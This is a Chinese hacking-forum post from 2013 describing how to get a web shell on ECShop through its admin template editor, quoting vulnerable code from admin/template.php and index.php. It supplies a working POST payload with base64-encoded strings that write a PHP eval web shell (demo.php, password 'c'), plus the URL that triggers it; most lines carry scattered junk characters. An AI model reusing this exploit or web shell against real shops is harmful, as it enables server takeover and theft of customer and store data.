找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2433|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
9 Q, g4 d; L' r0 a7 q" l! A3 c& J! J' W8 C& I' F$ U! w" |2 {
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了' z- }+ R8 h( m/ G% y; ]. j  \- K
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码- M1 B% z6 n  f/ v- _/ [9 m7 B
admin/template.php! i! _) V6 t' D

2 z& f* l4 }' i6 l1 if ($_REQUEST['act'] == 'update_library')
' ]7 B* r% u' K5 x' V$ L" Y
! f+ Q) V+ C1 g( T2   + n! \+ w/ M2 f. _1 l) b% [$ G

  i7 I- G/ i, E+ v8 h* t2 L3 { 9 O+ i8 b+ ?5 h# v8 G3 f" B

0 {+ B& H  _6 o4     check_authz_json('library_manage');
; Q5 t) i3 Z2 a+ f/ Z$ G
  g; p, I# T9 I) P5 W  P5   8 p& N- C& p* j
' V# r0 i3 C3 o: `+ W$ R
6     $html = stripslashes(json_str_iconv($_POST['html'])); ' A" m, _/ }, K

9 ]% @  J% C, u, `7   & F2 W1 G, J) G2 ^% f# w; e6 c2 Z
9 b  f4 v2 n% O3 B6 u: d1 d1 }
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
3 C4 E, G0 Y) p  v% a; \9 F
* k" v9 s1 x' y; ?1 y/ b4 f1 I! B9   
! P+ A# c1 ]* x: Y" m4 d6 f6 c& G5 h3 p: }- f/ @/ K' _8 Y: Q1 C, G
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 7 m, L" ]$ y( W! a! ~
1 ~1 }3 c# c" h! s; o* t
11   
% S( O' }0 L$ N, i/ D' \) a$ ~5 u6 t' ~. r: }* s/ p
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); . e2 e% G; L) z
* G* t; r9 W! [. D$ B6 T4 f
13   0 |3 Q$ ?" [( h0 C. L

' T% p( [7 r' O* R& Y6 Y14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 % E2 }- f. H9 }! z
; j% L0 [. h5 d; f
15     {
" J) [# [  U& V& X6 L) \7 r! o. F: P% {
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ! A& ~" x8 d8 u- c) N- X0 W
9 G) A6 @* F1 S, [1 x7 p* w. J6 K3 b
17         make_json_result('', $_LANG['update_lib_success']); 9 k8 `6 b/ N  c7 \; X

& g, E, f* p0 @2 Y18     }
# P' X/ B4 E! m$ l; v$ w" o9 G4 V
2 {5 X0 x0 J2 \19     else 9 B$ Z" g" D6 D

! H# ], m* j! s1 H$ H7 n$ z4 v20     {
- N7 H" V, F, e$ `! B: U9 L0 W2 B( _
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 0 @. r1 X( s  n
4 P; q/ O0 W7 ~+ M
22     }
2 s/ S5 f. g' z3 d4 E7 c; O! H9 \8 b; z" j7 {
23 }
5 i. h+ h- I- L' p1 d: W% p- K7 |( n$ X5 Y" N  Y. V
那么找个比较方便调用了模板的文件4 b! q4 `  m# b3 G8 g( x0 g( H
index.php
7 @6 d  }' B( t( t  ]7 M( _- s: u5 }0 M- G
1 if ($act == 'cat_rec')
) z8 L1 O5 H& V+ d) j0 \" Y+ \$ b1 F8 F' c! L! m5 O8 c) x
2   
7 ~8 q8 @/ f( X) f" S
6 }, b4 ~- V+ I) L& Y3 { 7 }' S6 _! I5 Y: H% G1 S* E
0 z3 ^) l' G- @! z* F
4   
4 u3 _( p8 C+ f& Z# }9 Y) y$ h
5 ~. ~2 v/ p  a8 ^5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
7 M; I- c5 l7 C8 R4 y3 f8 Q' x7 [: A0 T9 ~/ H6 `$ x
6   , ]6 ]! A) v. K1 E0 A1 S
% M! \" A; `' ?+ {* A/ k& I' f8 z7 I
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; - V" ^4 O6 Q8 I2 m3 m

( s% }7 V+ W7 ^- v7 q: a' J8   ) Y* \7 L% i/ |5 V
0 u% K9 f( s3 [! {
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; $ d) R4 i' u& L  O) w" i2 Q# z

  e2 t8 P! o- }' p7 P1 y& F/ z" d10   
' ]2 {) Z" S) X7 _6 c  U2 L# ^. ]4 \# u0 j, c
11     include_once('includes/cls_json.php');
# Q& J/ B( {% p2 Q( V" U7 k8 q3 S$ [) k. K# X' U: k4 `- s4 ]
12   ' S( P' o; L" t
- J2 q. ]2 t: V
13     $json = new JSON;
: D9 b& Y# c1 @) h5 b+ }/ W" j9 [1 c0 X8 K# E* g% i
14   ( {( g4 m- S2 ?8 }

) w' _. A' d# n4 Z% s15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
7 J( O- P3 V! f1 B1 t1 a1 k  j. {9 |% ^
16   5 A  Q+ D4 ^# \6 Y4 _6 h' K) Q! N, d
. z" Y9 \& G$ i
17     $children = get_children($cat_id); ( i, ^1 G. t$ Q

6 M" ^1 q7 Z% ^5 }$ y18   2 k' Q  K) `. I) T

9 {0 F: @2 ]" E0 v8 x3 n$ m& M19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
# R  |  F# ?5 p& b* H$ P+ |' y- a, [6 A  l  i
20   # @: |) T; @4 o: i

# y/ @& g- h% q" g4 E21     $smarty->assign('cat_rec_sign', 1);
/ ^  z( Y  W, O, {. Y& \2 j5 b# t" C! k6 r5 R8 Z$ Y6 ?9 r
22   9 k  K: e* P/ p' Q- K# I8 p; C
2 L; l" |5 b# ?: L: y: P/ I$ B
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 7 e) j* O9 R7 }$ n

. K6 f# v! B, t( D! t# [% W2 v24   1 H- H7 F" }9 N$ v" m8 X
3 A# z  Y9 [; _* ^: E2 Z
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
! I6 y$ l- {( `% T: B# B8 \% g) T  D/ N/ Z
26   
* W: u" x0 `. |% t/ O9 t. b) z+ O) Y+ m& O( O' ?( Z
27         echo $rec_array[$rec_type];
: n, R3 c  u; X' a8 W
6 _, H( }4 x+ B, ^$ Y28   
# Q1 ~9 f3 b- K
& Z7 y+ L, ?' M+ l! E29     die($json->encode($result)); : {7 H! B; _9 g
1 ~# ]( w' T3 Q2 W
30   1 c4 U0 i& W( N" C4 d) v! e

3 H; O$ x, {% e3 U; |, u0 _+ ~, v% ]31 } % \6 Z; e' v/ ?) K0 N. O3 w

4 d' J/ S7 S( Q4 }* D; A那么就有利用方法了
; K: u) E8 G3 U" W/ tpost包到http://localhost/ec/admin/template.php?act=update_library! j3 [' J7 E; v0 k( J' X
Post内容:
( n8 x" p3 X8 K8 E4 m# o
- p, t; L, F  F9 C! q# b
9 h, D) i, j7 o! m' v; r1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} + x) e1 ~, J+ R, q8 G
. l3 _' x8 R% Y2 [' Z  X8 E+ c
然后访问http://localhost/ec/index.php?act=cat_rec
/ b% K" m# d2 ?! |/ H
& t/ \  b$ u& J5 n' eshel地址:http://localhost/ec/demo.php
, Q0 ^% A5 Q9 J9 M' F( M密码c
) v( n9 z( o+ I5 R3 g6 D* P0 Q( z
" i# v- A4 E) T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表